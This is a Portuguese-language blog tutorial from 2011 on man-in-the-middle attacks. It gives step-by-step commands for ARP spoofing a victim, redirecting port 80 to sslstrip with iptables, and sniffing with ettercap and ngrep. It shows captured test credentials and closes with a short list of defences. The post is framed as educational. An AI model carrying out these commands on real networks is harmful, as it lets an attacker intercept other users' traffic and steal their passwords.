Man in the Middle (MITM)
Autor: Marcelo Dias | Publicado: 2011-12-01T15:06:00-02:00

E ai galera,&nbsp;tudo Blzinha?
Olha só, estou trazendo aqui pra vcs, umas das TOP 10 falhas de segurança da OWASP, é a Proteção Insuficiente na Camada de Transporte, pq escolhi ela, bom por fazer parte do meu trabalho, a segurança, resolvi testar e funcionou, o que é bom para teste e ruim, sabendo que temos uma deficiência. Bom em que consiste o ataque? é onde eu me transformo em Gateway, em outras palavras, serei o "Man in the Middle", com algumas ferramentas descrista aqui vc pode simular tal ação, lembrando que não estou fazer apologia ou incentivando a ataques ou algo parecido, isso é muito SÉRIO, faço aqui uma explicação didática e formas de se prevenir dos ataques, então se vc acha que vou passar mais informações de como realizar o ataque ou outras formas de como fazer, pode sair do blog, aqui estamos tentando estudar e um ajudar o outro de como se prevenir desse ataque, não exige muito conhecimento, vc precisa somente entender o que se passa nos pacotes e o que cada aplicação vai fazer com o resultado final.


Man
In The Middle



Este
artigo
vai
ser
tratado
as
informações
de
como
realizar
uma
operação
MITM
(Man
In
The
Middle)
e
qual
melhor
forma
de
se
proteger
desse
ataque.
Inicialmente
vamos
explica
o
que
significa
MITM.





MITN
(Man in the Middle), nada mais é que o Homem no Meio, o computador
que terá a função de intermediar as conexões geradas por um outro
computador ou rede, com esse ataque você será o gateway novo da
rede, ou seja, todas as informações dentro da rede passaram por
você.



Foi
utilizado cinco ferramentas para realizar o ataque, ngrep, iptables,
ettercap e sslstrip, abaixo um descritivo de cada ferramenta
utilizada.



NGREP
-
Possui
um
amplo
conjunto
de
argumentos
permitindo
diversas
maneiras
de
coleta
de
tráfego
e
filtragem
utilizando
expressões
regulares,
ele
foi
fundamental
para
nossa
analise
de
pacotes.



Iptables
-
é
um
firewall
em
nível
de
pacotes
e
funciona
baseado
no
endereço/porta
de
origem/destino
do
pacote,
prioridade,
etc.
Ele
funciona
através
da
comparação
de
regras
para
saber
se
um
pacote
tem
ou
não
permissão
para
passar.
Em
firewalls
mais
restritivos,
o
pacote
é
bloqueado
e
registrado
para
que
o
administrador
do
sistema
tenha
conhecimento
sobre
o
que
está
acontecendo
em
seu
sistema.



Dsniff
-
é
um
rastreador
de
tráfego
especializado
na
captura
de
nomes-de-usuário
e
senhas.
Ele
é
capaz
de
rastrear
tráfego
dos
protocolos
SMTP,
FTP,
Telnet,
POP,SMB
e
senhas
de
banco
de
dados
SQL
entre
outros
protocolos,
como
um
canivete
suiço
ele
possui
uma
ferramente
chamada
ARPSPOOF.



EtterCap
– O ettercap um programa classificado com sniffer, pois o mesmo
captura dados em uma rede local. Farejadores como são conhecidos os
sniffer eles capturam todo trafego da rede, com isso podemos capturar
senhas digitadas por outros usuários de nossa rede. Analisando os
dados podemos captura conversas de clientes de mensagem do tipo MSN
ou outros clientes de mensagem instantânea.



SSLStrip
- é uma ferramenta que pode passar as ligações SSL a ligações
normais sem SSL, permitindo assim que os dados que deveriam estar
encriptados passarem sem qualquer tipo de proteção.



O
ataque foi realizado da seguinte forma:

&nbsp;- 1º
Configurar nossa conexão para que seja permitido acesso de outros
computadores na rede e passar a usar o computador atacante como gateway
com a seguinte comando.


 #
echo 1 &gt; /proc/sys/net/ipv4/ip_forward



&nbsp;- 2º
Configurar o ettercap para que quando iniciado ele faça uma regra de
iptables no arquivo de configuração dele.


 
# vim /etc/etter.conf



 Retirar
o comentario das seguintes linhas do iptables: 


Obs.: Existem duas configurações, para ipchains e iptables.


 

&nbsp;- 3º
Informar na rede ou apenas o computador da vítima que você é o
gateway agora e tudo será passado pelo computador do atacante.


 #
arpspoof -i INTERFACE -t [ENDEREÇO VITIMA] [ENDEREÇO GATEWAY]

 


&nbsp;- 4º
Vamos usar o iptables agora para redirecionar uma porta, onde que
tudo o que for acessado pela porta 80, será redirecionada para porta
10000, porta padrão do SSLStrip, podendo, claro, mudar essa porta,
desde que você informe ao SSLStrip que a porta é outra.


 #
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-ports 10000

 


&nbsp;- 5º
Vamos ativar nosso SSLStrip, ele fará a função de desabilitar o
SSL, fazendo o usuário&nbsp;
vítima usar conexões que antes tinham SSL,
agora estará sem.


 #
sslstrip &amp; ou # sslstrip -a -k -f  -l 9000&nbsp;caso queira mudar a
porta de comunicação.


 Explicando
as funções:

 -a
– Log de todas SSL e HTTP trafegando pela rede.

 -k
- “Matará” todas as sessões realizadas no processo.

 -f
– Substituira a visão do favicon como requisição segura.

 -l
– Defini a porta ser usada no momento.



&nbsp;- 6º
Ativar o ettercap, com suas regras ativas. 



 #
ettercap -T -q -i INTERFACE


 Explicando
as funções

 -T
– Usar em modo texto somente

 -q
– Usar modo silencioso

 -i
– Definição de interface.


 Obs.:
Poderiamos usar a opções -o, ela ja deixa em modo MITM, mas em
nossos testes não obtivemos sucesso, o que fez mudar nossa
ferramenta e agregar o ngrep para analisar os pacotes.



 Executados
todos os passos anteriores, agora sim, podemos aguardar o usuário
acessar suas paginas supostamente protegidas, mas nesse momento não
ha nenhuma proteção de criptografia, assim facilitando a
visualização de todos os dados trafegados na rede da vítima, logo
abaixo vou mostrar o que difere para um usuário quando está
acessando.



Abaixo usuário
com SSL, na página do google.






Abaixo usuário
sem SSL, na página do google, ja sendo alvo do atacante.





O
que ficou bem claro foi a utilização do https quando tinha SSL e
http quando não houve SSL, a partir desse momento, tudo que for
acessado pelo usuário estará totalmente legível pelo ngrep, como
mostro a imagem seguinte.





É
bem visual nas duas ultimas linhas o login teste_fake e a senha
222222222222222222222222.

E agora, o que fazer para se livrar dessas cara que está fazendo essa bagunça na tua rede e prejudicando teus negócios? Bom vamos ver o que podemos fazer.

&nbsp;- Usar SSL/TLS em todas as conexões com dados sensíveis.
&nbsp;- Assinar mensagens antes de serem transmitidas.
&nbsp;- Gerar chaves corretamente.
&nbsp;- Verificar certificados SSL antes de usá-los
&nbsp;- Origem autoassinados
&nbsp;- Usar o ArpWatch, ele busca informações na rede se algum computador está tentando se fazer de Gateway.

Bom pessoal, espero ter mostrado um dos problemas de segurança mais graves usados nos últimos tempos, fique bem e se possível comentem ai, vamos discutir mais sobre o assunto.